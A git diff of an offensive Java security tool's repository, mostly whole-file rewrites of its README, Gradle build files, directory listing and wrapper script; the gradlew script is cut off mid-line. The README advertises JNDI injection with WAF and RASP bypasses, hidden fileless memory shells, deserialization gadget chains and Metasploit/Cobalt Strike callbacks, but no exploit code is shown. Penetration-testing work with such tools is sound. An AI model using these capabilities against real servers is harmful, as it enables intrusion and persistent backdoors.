+ +1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3) + +## 📷 Acknowledgements + +- https://github.com/veracode-research/rogue-jndi +- https://github.com/welk1n/JNDI-Injection-Exploit +- https://github.com/welk1n/JNDI-Injection-Bypass +- https://github.com/WhiteHSBG/JNDIExploit +- https://github.com/su18/ysoserial +- https://github.com/rebeyond/Behinder +- https://github.com/Whoopsunix/utf-8-overlong-encoding +- https://github.com/mbechler/marshalsec +- https://t.zsxq.com/17LkqCzk8 +- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg +- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 +- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ +- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 +- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ +- https://tttang.com/archive/1405/#toc_groovyclassloader +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F +- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html +- https://tttang.com/archive/1405/#toc_druid + diff --git a/README.md b/README.md index 99aa504..b1adc07 100644 --- a/README.md +++ b/README.md @@ -1,89 +1,89 @@ -

- 100 -

-

JYso

- -

- - - - -

可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能

- -

中文文档 | English

- -## 🚀 上手指南 - -📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso! - -🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。 - -✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。 - -## 👍 特点 - -+ JNDI 账号密码启动 -+ JNDI 路由隐藏或加密 -+ JNDI 高版本Bypass -+ 自定义修改内存马的路径、密码、验证的HTTP头与值 -+ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) -+ 内存马写入 JRE 或环境变量来隐藏 -+ 序列化数据加脏数据 -+ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) -+ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减 -+ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等 -+ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载 -+ 动态生成混淆的类名 -+ MSF/CS 上线 -+ 通过JDBC来进行代码执行 - -如果你有其他很棒的想法请务必告诉我!😎 - -## 🐯 编译 - -下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行 - -```shell -./gradlew shadowJar -``` - -## 🌲目录结构 - -更多信息请参阅[目录结构说明](docs/directory_structure.md)。 - -## ✨ CTStack - - - -JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区 - -## ✨ 404星链计划 - -404StarLink Project Logo - -JYso 现已加入 [404星链计划](https://github.com/knownsec/404StarLink) - -1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3) - -## 📷 参考 - -- https://github.com/veracode-research/rogue-jndi -- https://github.com/welk1n/JNDI-Injection-Exploit -- https://github.com/welk1n/JNDI-Injection-Bypass -- https://github.com/WhiteHSBG/JNDIExploit -- https://github.com/su18/ysoserial -- https://github.com/rebeyond/Behinder -- https://github.com/Whoopsunix/utf-8-overlong-encoding -- https://github.com/mbechler/marshalsec -- https://t.zsxq.com/17LkqCzk8 -- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg -- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 -- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ -- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce -- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 -- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ -- https://tttang.com/archive/1405/#toc_groovyclassloader -- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F -- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html -- https://tttang.com/archive/1405/#toc_druid - +

+ 100 +

+

JYso

+ +

+ + + + +

可以同时当做 ysoserial 与 JNDIExploit 使用的工具,同时具备多种JNDI高版本、WAF、RASP的Bypass功能

+ +

中文文档 | English

+ +## 🚀 上手指南 + +📢 请务必花一点时间阅读此文档,有助于你快速熟悉JYso! + +🧐 使用文档[Wiki](https://github.com/qi4L/JYso/wiki)。 + +✔ 下载最新版本的[Releases](https://github.com/qi4L/JYso/releases)。 + +## 👍 特点 + ++ JNDI 账号密码启动 ++ JNDI 路由隐藏或加密 ++ JNDI 高版本Bypass ++ 自定义修改内存马的路径、密码、验证的HTTP头与值 ++ 内存马支持[无文件落地Agent打入](https://xz.aliyun.com/t/10075?time__1311=mq%2BxBD9QDQe4yDBkPoN%2BuDAO%3DnB5x&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fsearch%3Fkeyword%3Drebeyond) ++ 内存马写入 JRE 或环境变量来隐藏 ++ 序列化数据加脏数据 ++ [序列化数据进行3字节对应的UTF-8编码](https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/) ++ TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减 ++ SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等 ++ 解决 Shiro Header 头部过长,从 request 中获取指定参数的值进行类加载 ++ 动态生成混淆的类名 ++ MSF/CS 上线 ++ 通过JDBC来进行代码执行 + +如果你有其他很棒的想法请务必告诉我!😎 + +## 🐯 编译 + +下载 gradle8.7+ 并配置到全局环境变量中,在项目根目录下执行 + +```shell +./gradlew shadowJar +``` + +## 🌲目录结构 + +更多信息请参阅[目录结构说明](docs/directory_structure.md)。 + +## ✨ CTStack + + + +JYso 现已加入 [CTStack](https://stack.chaitin.com/tool/detail/1303) 社区 + +## ✨ 404星链计划 + +404StarLink Project Logo + +JYso 现已加入 [404星链计划](https://github.com/knownsec/404StarLink) + +1. [入选2024年KCon兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3) + +## 📷 参考 + +- https://github.com/veracode-research/rogue-jndi +- https://github.com/welk1n/JNDI-Injection-Exploit +- https://github.com/welk1n/JNDI-Injection-Bypass +- https://github.com/WhiteHSBG/JNDIExploit +- https://github.com/su18/ysoserial +- https://github.com/rebeyond/Behinder +- https://github.com/Whoopsunix/utf-8-overlong-encoding +- https://github.com/mbechler/marshalsec +- https://t.zsxq.com/17LkqCzk8 +- https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg +- https://xz.aliyun.com/t/11640?time__1311=mqmx0DBDuDnQ340vo4%2BxCwg%3DQai%3DYzaq4D&alichlgref=https%3A%2F%2Fxz.aliyun.com%2Fu%2F8697 +- https://archive.conference.hitb.org/hitbsecconf2021sin/sessions/make-jdbc-attacks-brilliant-again/ +- https://tttang.com/archive/1405/#toc_0x03-jdbc-rce +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoYg0%3DDR0HG8KeD&alichlgref=https%3A%2F%2Ftttang.com%2F#toc-7 +- https://whoopsunix.com/docs/PPPYSO/advance/UTFMIX/ +- https://tttang.com/archive/1405/#toc_groovyclassloader +- https://xz.aliyun.com/t/10656?time__1311=mq%2BxBDy7G%3DLOD%2FD0DoY4AKqiKD%3DOQjqx&alichlgref=https%3A%2F%2Ftttang.com%2F +- https://www.leavesongs.com/PENETRATION/use-tls-proxy-to-exploit-ldaps.html +- https://tttang.com/archive/1405/#toc_druid + diff --git a/build.gradle b/build.gradle index 0ec06b2..2a86eea 100644 --- a/build.gradle +++ b/build.gradle @@ -1,144 +1,144 @@ -plugins { - id 'java' - id 'java-library' - id 'maven-publish' - id 'com.gradleup.shadow' version '9.4.1' -} - -repositories { - mavenCentral() - maven { - url = uri('https://repo.jenkins-ci.org/releases/') - } - - maven { - url = uri('https://repo.maven.apache.org/maven2/') - } -} - -shadowJar { - archiveClassifier = '' - zip64 = true - minimize() - manifest { - attributes 'Main-Class': 'com.qi4l.JYso.Starter' - } -} - -configurations.configureEach { - exclude group: 'ch.qos.logback', module: 'logback-classic' - exclude group: 'ch.qos.logback', module: 'logback-core' -} - -dependencies { - implementation 'org.apache.logging.log4j:log4j-api:2.20.0' - implementation 'org.apache.logging.log4j:log4j-core:2.20.0' - implementation 'cn.hutool:hutool-all:5.7.7' - implementation 'com.alibaba:fastjson:1.2.83' - implementation 'com.alibaba.fastjson2:fastjson2:2.0.26' - implementation 'com.beust:jcommander:1.78' - implementation 'com.caucho:resin:4.0.65' - implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3' - implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10' - implementation 'com.mchange:c3p0:0.9.5.5' - implementation 'com.nqzero:permit-reflect:0.3' - implementation 'com.teradata.jdbc:terajdbc:20.00.00.06' - implementation 'com.unboundid:unboundid-ldapsdk:4.0.9' - implementation 'com.vaadin:vaadin-server:7.7.14' - implementation 'commons-cli:commons-cli:1.5.0' - implementation 'io.projectreactor:reactor-core:3.4.26' - implementation 'io.undertow:undertow-core:2.2.2.Final' - implementation 'io.undertow:undertow-servlet:2.2.2.Final' - implementation 'javax.servlet:javax.servlet-api:4.0.1' - implementation 'javax.websocket:javax.websocket-api:1.1' - implementation 'jboss:jboss-serialization:4.2.2.GA' - implementation 'net.jodah:expiringmap:0.5.9' - implementation 'org.apache.click:click-nodeps:2.3.0' - implementation 'org.apache.commons:commons-collections4:4.0' - implementation 'org.apache.commons:commons-lang3:3.12.0' - implementation 'org.apache.commons:commons-text:1.8' - implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0' - implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9' - implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58' - implementation 'org.apache.tomcat:tomcat-websocket:9.0.62' - implementation 'org.apache.wicket:wicket-util:6.23.0' - implementation 'org.aspectj:aspectjweaver:1.9.7' - implementation 'org.beanshell:bsh:2.0b5' - implementation 'org.clojure:clojure:1.8.0' - implementation 'org.codehaus.groovy:groovy:2.4.5' - implementation 'org.eclipse.jetty:jetty-ant:11.0.7' - implementation 'org.fusesource.jansi:jansi:2.4.0' - implementation 'org.glassfish.tyrus:tyrus-server:2.0.0' - implementation 'org.hibernate:hibernate-core:4.3.11.Final' - implementation 'org.javassist:javassist:3.29.2-GA' - implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final' - implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final' - implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final' - implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final' - implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final' - implementation 'org.jboss.weld:weld-core:1.1.33.Final' - implementation 'org.jenkins-ci.main:remoting:2.55' - implementation 'org.ow2.asm:asm:8.0.1' - implementation 'org.python:jython-standalone:2.5.2' - implementation 'org.reflections:reflections:0.9.10' - implementation 'org.springframework:spring-aop:5.2.3.RELEASE' - implementation 'org.springframework:spring-aop:5.2.3.RELEASE' - implementation 'org.springframework:spring-beans:5.2.3.RELEASE' - implementation 'org.springframework:spring-context-support:5.2.3.RELEASE' - implementation 'org.springframework:spring-core:5.2.3.RELEASE' - implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE' - implementation 'org.springframework:spring-oxm:5.2.3.RELEASE' - implementation 'org.springframework:spring-test:5.2.3.RELEASE' - implementation 'org.springframework:spring-tx:5.2.3.RELEASE' - implementation 'org.springframework:spring-web:5.2.3.RELEASE' - implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE' - implementation 'rhino:js:1.7R2' - implementation 'rome:rome:1.0' - implementation 'xerces:xercesImpl:2.12.0' - - implementation files('libs/jai-core-1.1.3.jar') - implementation files('libs/weblogic-server.jar') - - dependencies { - implementation('commons-collections:commons-collections') { - version { - strictly '3.2.1' - } - } - implementation('org.apache.commons:commons-collections4') { - version { - strictly '4.0' - } - } - } - - implementation 'org.codehaus.castor:castor-xml:1.4.1' - implementation 'com.cedarsoftware:json-io:4.9.1' - implementation 'org.jyaml:jyaml:1.3' - implementation 'com.esotericsoftware:kryo:4.0.0' - implementation 'commons-configuration:commons-configuration:1.10' - implementation 'com.thoughtworks.xstream:xstream:1.4.9' - implementation 'org.apache.xbean:xbean-naming:4.5' - implementation 'com.rometools:rome:1.7.0' - implementation 'net.sf.json-lib:json-lib:2.4:jdk15' - implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26' - - implementation 'commons-beanutils:commons-beanutils:1.9.4' - - - - runtimeOnly libs.org.aspectj.aspectjweaver - compileOnly libs.org.apache.tomcat.tomcat.websocket -} - - -group = 'org.example' -version = '1.3.7' -description = 'JYso' -java.sourceCompatibility = JavaVersion.VERSION_1_8 - -compileJava { - options.compilerArgs << '-XDignore.symbol.file' - options.fork = true - options.forkOptions.executable = 'C:\\env\\JAVA\\corretto_jdk1.8.0_412\\bin\\javac.exe' +plugins { + id 'java' + id 'java-library' + id 'maven-publish' + id 'com.gradleup.shadow' version '9.4.1' +} + +repositories { + mavenCentral() + maven { + url = uri('https://repo.jenkins-ci.org/releases/') + } + + maven { + url = uri('https://repo.maven.apache.org/maven2/') + } +} + +shadowJar { + archiveClassifier = '' + zip64 = true + minimize() + manifest { + attributes 'Main-Class': 'com.qi4l.JYso.Starter' + } +} + +configurations.configureEach { + exclude group: 'ch.qos.logback', module: 'logback-classic' + exclude group: 'ch.qos.logback', module: 'logback-core' +} + +dependencies { + implementation 'org.apache.logging.log4j:log4j-api:2.20.0' + implementation 'org.apache.logging.log4j:log4j-core:2.20.0' + implementation 'cn.hutool:hutool-all:5.7.7' + implementation 'com.alibaba:fastjson:1.2.83' + implementation 'com.alibaba.fastjson2:fastjson2:2.0.26' + implementation 'com.beust:jcommander:1.78' + implementation 'com.caucho:resin:4.0.65' + implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3' + implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10' + implementation 'com.mchange:c3p0:0.9.5.5' + implementation 'com.nqzero:permit-reflect:0.3' + implementation 'com.teradata.jdbc:terajdbc:20.00.00.06' + implementation 'com.unboundid:unboundid-ldapsdk:4.0.9' + implementation 'com.vaadin:vaadin-server:7.7.14' + implementation 'commons-cli:commons-cli:1.5.0' + implementation 'io.projectreactor:reactor-core:3.4.26' + implementation 'io.undertow:undertow-core:2.2.2.Final' + implementation 'io.undertow:undertow-servlet:2.2.2.Final' + implementation 'javax.servlet:javax.servlet-api:4.0.1' + implementation 'javax.websocket:javax.websocket-api:1.1' + implementation 'jboss:jboss-serialization:4.2.2.GA' + implementation 'net.jodah:expiringmap:0.5.9' + implementation 'org.apache.click:click-nodeps:2.3.0' + implementation 'org.apache.commons:commons-collections4:4.0' + implementation 'org.apache.commons:commons-lang3:3.12.0' + implementation 'org.apache.commons:commons-text:1.8' + implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0' + implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9' + implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58' + implementation 'org.apache.tomcat:tomcat-websocket:9.0.62' + implementation 'org.apache.wicket:wicket-util:6.23.0' + implementation 'org.aspectj:aspectjweaver:1.9.7' + implementation 'org.beanshell:bsh:2.0b5' + implementation 'org.clojure:clojure:1.8.0' + implementation 'org.codehaus.groovy:groovy:2.4.5' + implementation 'org.eclipse.jetty:jetty-ant:11.0.7' + implementation 'org.fusesource.jansi:jansi:2.4.0' + implementation 'org.glassfish.tyrus:tyrus-server:2.0.0' + implementation 'org.hibernate:hibernate-core:4.3.11.Final' + implementation 'org.javassist:javassist:3.29.2-GA' + implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final' + implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final' + implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final' + implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final' + implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final' + implementation 'org.jboss.weld:weld-core:1.1.33.Final' + implementation 'org.jenkins-ci.main:remoting:2.55' + implementation 'org.ow2.asm:asm:8.0.1' + implementation 'org.python:jython-standalone:2.5.2' + implementation 'org.reflections:reflections:0.9.10' + implementation 'org.springframework:spring-aop:5.2.3.RELEASE' + implementation 'org.springframework:spring-aop:5.2.3.RELEASE' + implementation 'org.springframework:spring-beans:5.2.3.RELEASE' + implementation 'org.springframework:spring-context-support:5.2.3.RELEASE' + implementation 'org.springframework:spring-core:5.2.3.RELEASE' + implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE' + implementation 'org.springframework:spring-oxm:5.2.3.RELEASE' + implementation 'org.springframework:spring-test:5.2.3.RELEASE' + implementation 'org.springframework:spring-tx:5.2.3.RELEASE' + implementation 'org.springframework:spring-web:5.2.3.RELEASE' + implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE' + implementation 'rhino:js:1.7R2' + implementation 'rome:rome:1.0' + implementation 'xerces:xercesImpl:2.12.0' + + implementation files('libs/jai-core-1.1.3.jar') + implementation files('libs/weblogic-server.jar') + + dependencies { + implementation('commons-collections:commons-collections') { + version { + strictly '3.2.1' + } + } + implementation('org.apache.commons:commons-collections4') { + version { + strictly '4.0' + } + } + } + + implementation 'org.codehaus.castor:castor-xml:1.4.1' + implementation 'com.cedarsoftware:json-io:4.9.1' + implementation 'org.jyaml:jyaml:1.3' + implementation 'com.esotericsoftware:kryo:4.0.0' + implementation 'commons-configuration:commons-configuration:1.10' + implementation 'com.thoughtworks.xstream:xstream:1.4.9' + implementation 'org.apache.xbean:xbean-naming:4.5' + implementation 'com.rometools:rome:1.7.0' + implementation 'net.sf.json-lib:json-lib:2.4:jdk15' + implementation 'org.apache.directory.server:apacheds-xdbm-partition:2.0.0.AM26' + + implementation 'commons-beanutils:commons-beanutils:1.9.4' + + + + runtimeOnly libs.org.aspectj.aspectjweaver + compileOnly libs.org.apache.tomcat.tomcat.websocket +} + + +group = 'org.example' +version = '1.3.7' +description = 'JYso' +java.sourceCompatibility = JavaVersion.VERSION_1_8 + +compileJava { + options.compilerArgs << '-XDignore.symbol.file' + options.fork = true + options.forkOptions.executable = '/Users/qi4l/env/amazon-corretto-8.jdk/Contents/Home/bin/javac' } \ No newline at end of file diff --git a/docs/directory_structure.md b/docs/directory_structure.md index bb3a38a..6408a84 100644 --- a/docs/directory_structure.md +++ b/docs/directory_structure.md @@ -1,72 +1,72 @@ -├─.gradle Gradle构建配置文件 -│ ├─8.7 -│ │ ├─checksums -│ │ ├─dependencies-accessors -│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71 -│ │ │ ├─classes -│ │ │ │ └─org -│ │ │ │ └─gradle -│ │ │ │ └─accessors -│ │ │ │ └─dm -│ │ │ └─sources -│ │ │ └─org -│ │ │ └─gradle -│ │ │ └─accessors -│ │ │ └─dm -│ │ ├─executionHistory -│ │ ├─expanded -│ │ ├─fileChanges -│ │ ├─fileHashes -│ │ └─vcsMetadata -│ ├─buildOutputCleanup -│ └─vcs-1 -├─.idea IDEA配置信息文件 -│ ├─artifacts -│ ├─codeStyles -│ ├─inspectionProfiles -│ └─libraries -├─docs 有关文档 -├─gradle -│ └─wrapper -├─libs 第三方jar -└─src -├─main -│ └─java -│ └─com -│ └─qi4l -│ └─jndi -│ ├─controllers JNDI路由逻辑 -│ │ └─utils -│ ├─enumtypes -│ ├─exceptions -│ ├─exploit -cp 模式下的漏洞逻辑 -│ ├─gadgets 反序列化链 -│ │ ├─annotation -│ │ ├─Config -│ │ └─utils -│ │ ├─beanshell -│ │ ├─cc -│ │ ├─clojure -│ │ ├─dirty -│ │ ├─handle -│ │ ├─jdbc -│ │ ├─jre -│ │ └─utf8OverlongEncoding -│ └─template -│ ├─Agent Agent注入逻辑 -│ │ └─utli -│ ├─echo 回显类 -│ └─memshell 内存shell逻辑 -│ ├─BypassNginxCDN -│ ├─jboss -│ ├─jetty -│ ├─resin -│ ├─shell -│ ├─spring -│ ├─struts2 -│ ├─tomcat -│ ├─Tomcat_Spring_Jetty -│ ├─weblogic -│ └─Websphere -└─test +├─.gradle Gradle构建配置文件 +│ ├─8.7 +│ │ ├─checksums +│ │ ├─dependencies-accessors +│ │ │ └─525c6f5870ba43302c5969f432765d671d340d71 +│ │ │ ├─classes +│ │ │ │ └─org +│ │ │ │ └─gradle +│ │ │ │ └─accessors +│ │ │ │ └─dm +│ │ │ └─sources +│ │ │ └─org +│ │ │ └─gradle +│ │ │ └─accessors +│ │ │ └─dm +│ │ ├─executionHistory +│ │ ├─expanded +│ │ ├─fileChanges +│ │ ├─fileHashes +│ │ └─vcsMetadata +│ ├─buildOutputCleanup +│ └─vcs-1 +├─.idea IDEA配置信息文件 +│ ├─artifacts +│ ├─codeStyles +│ ├─inspectionProfiles +│ └─libraries +├─docs 有关文档 +├─gradle +│ └─wrapper +├─libs 第三方jar +└─src +├─main +│ └─java +│ └─com +│ └─qi4l +│ └─jndi +│ ├─controllers JNDI路由逻辑 +│ │ └─utils +│ ├─enumtypes +│ ├─exceptions +│ ├─exploit -cp 模式下的漏洞逻辑 +│ ├─gadgets 反序列化链 +│ │ ├─annotation +│ │ ├─Config +│ │ └─utils +│ │ ├─beanshell +│ │ ├─cc +│ │ ├─clojure +│ │ ├─dirty +│ │ ├─handle +│ │ ├─jdbc +│ │ ├─jre +│ │ └─utf8OverlongEncoding +│ └─template +│ ├─Agent Agent注入逻辑 +│ │ └─utli +│ ├─echo 回显类 +│ └─memshell 内存shell逻辑 +│ ├─BypassNginxCDN +│ ├─jboss +│ ├─jetty +│ ├─resin +│ ├─shell +│ ├─spring +│ ├─struts2 +│ ├─tomcat +│ ├─Tomcat_Spring_Jetty +│ ├─weblogic +│ └─Websphere +└─test └─java \ No newline at end of file diff --git a/gradle/libs.versions.toml b/gradle/libs.versions.toml index 7882ca1..f0b9b2f 100644 --- a/gradle/libs.versions.toml +++ b/gradle/libs.versions.toml @@ -1,10 +1,10 @@ -# This file was generated by the Gradle 'init' task. -# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format - -[versions] -org-apache-tomcat-tomcat-websocket = "9.0.62" -org-aspectj-aspectjweaver = "1.9.7" - -[libraries] -org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" } +# This file was generated by the Gradle 'init' task. +# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format + +[versions] +org-apache-tomcat-tomcat-websocket = "9.0.62" +org-aspectj-aspectjweaver = "1.9.7" + +[libraries] +org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" } org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" } \ No newline at end of file diff --git a/gradle/wrapper/gradle-wrapper.properties b/gradle/wrapper/gradle-wrapper.properties index b82aa23..c2a0de1 100644 --- a/gradle/wrapper/gradle-wrapper.properties +++ b/gradle/wrapper/gradle-wrapper.properties @@ -1,7 +1,6 @@ +#Thu Apr 23 23:23:32 CST 2026 distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip -networkTimeout=10000 -validateDistributionUrl=true +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14.4-bin.zip zipStoreBase=GRADLE_USER_HOME zipStorePath=wrapper/dists diff --git a/gradlew b/gradlew index 1aa94a4..33ccca4 100644 --- a/gradlew +++ b/gradlew @@ -1,249 +1,249 @@ -#!/bin/sh - -# -# Copyright © 2015-2021 the original authors. -# -# Licensed under the Apache License, Version 2.0 (the "License"); -# you may not use this file except in compliance with the License. -# You may obtain a copy of the License at -# -# https://www.apache.org/licenses/LICENSE-2.0 -# -# Unless required by applicable law or agreed to in writing, software -# distributed under the License is distributed on an "AS IS" BASIS, -# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -# See the License for the specific language governing permissions and -# limitations under the License. -# - -############################################################################## -# -# Gradle start up script for POSIX generated by Gradle. -# -# Important for running: -# -# (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is -# noncompliant, but you have some other compliant shell such as ksh or -# bash, then to run this script, type that shell name before the whole -# command line, like: -# -# ksh Gradle -# -# Busybox and similar reduced shells will NOT work, because this script -# requires all of these POSIX shell features: -# * functions; -# * expansions «$var», «${var}», «${var:-default}», «${var+SET}», -# «${var#prefix}», «${var%suffix}», and «$( cmd )»; -# * compound commands having a testable exit status, especially «case»; -# * various built-in commands including «command», «set», and «ulimit». -# -# Important for patching: -# -# (2) This script targets any POSIX shell, so it avoids extensions provided -# by Bash, Ksh, etc; in particular arrays are avoided. -# -# The "traditional" practice of packing multiple parameters into a -# space-separated string is a well documented source of bugs and security -# problems, so this is (mostly) avoided, by progressively accumulating -# options in "$@", and eventually passing that to Java. -# -# Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, -# and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; -# see the in-line comments for details. -# -# There are tweaks for specific operating systems such as AIX, CygWin, -# Darwin, MinGW, and NonStop. -# -# (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt -# within the Gradle project. -# -# You can find Gradle at https://github.com/gradle/gradle/. -# -############################################################################## - -# Attempt to set APP_HOME - -# Resolve links: $0 may be a link -app_path=$0 - -# Need this for daisy-chained symlinks. -while - APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path - [ -h "$app_path" ] -do - ls=$( ls -ld "$app_path" ) - link=${ls#*' -> '} - case $link in #( - /*) app_path=$link ;; #( - *) app_path=$APP_HOME$link ;; - esac -done - -# This is normally unused -# shellcheck disable=SC2034 -APP_BASE_NAME=${0##*/} -# Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit - -# Use the maximum available, or set MAX_FD != -1 to use that value. -MAX_FD=maximum - -warn () { - echo "$*" -} >&2 - -die () { - echo - echo "$*" - echo - exit 1 -} >&2 - -# OS specific support (must be 'true' or 'false'). -cygwin=false -msys=false -darwin=false -nonstop=false -case "$( uname )" in #( - CYGWIN* ) cygwin=true ;; #( - Darwin* ) darwin=true ;; #( - MSYS* | MINGW* ) msys=true ;; #( - NONSTOP* ) nonstop=true ;; -esac - -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar - - -# Determine the Java command to use to start the JVM. -if [ -n "$JAVA_HOME" ] ; then - if [ -x "$JAVA_HOME/jre/sh/java" ] ; then - # IBM's JDK on AIX uses strange locations for the executables - JAVACMD=$JAVA_HOME/jre/sh/java - else - JAVACMD=$JAVA_HOME/bin/java - fi - if [ ! -x "$JAVACMD" ] ; then - die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME - -Please set the JAVA_HOME variable in your environment to match the -location of your Java installation." - fi -else - JAVACMD=java - if ! command -v java >/dev/null 2>&1 - then - die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. - -Please set the JAVA_HOME variable in your environment to match the -location of your Java installation." - fi -fi - -# Increase the maximum file descriptors if we can. -if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then - case $MAX_FD in #( - max*) - # In POSIX sh, ulimit -H is undefined. That's why the result is checked to see if it worked. - # shellcheck disable=SC2039,SC3045 - MAX_FD=$( ulimit -H -n ) || - warn "Could not query maximum file descriptor limit" - esac - case $MAX_FD in #( - '' | soft) :;; #( - *) - # In POSIX sh, ulimit -n is undefined. That's why the result is checked to see if it worked. - # shellcheck disable=SC2039,SC3045 - ulimit -n "$MAX_FD" || - warn "Could not set maximum file descriptor limit to $MAX_FD" - esac -fi - -# Collect all arguments for the java command, stacking in reverse order: -# * args from the command line -# * the main class name -# * -classpath -# * -D...appname settings -# * --module-path (only if needed) -# * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment variables. - -# For Cygwin or MSYS, switch paths to Windows format before running java -if "$cygwin" || "$msys" ; then - APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) - CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) - - JAVACMD=$( cygpath --unix 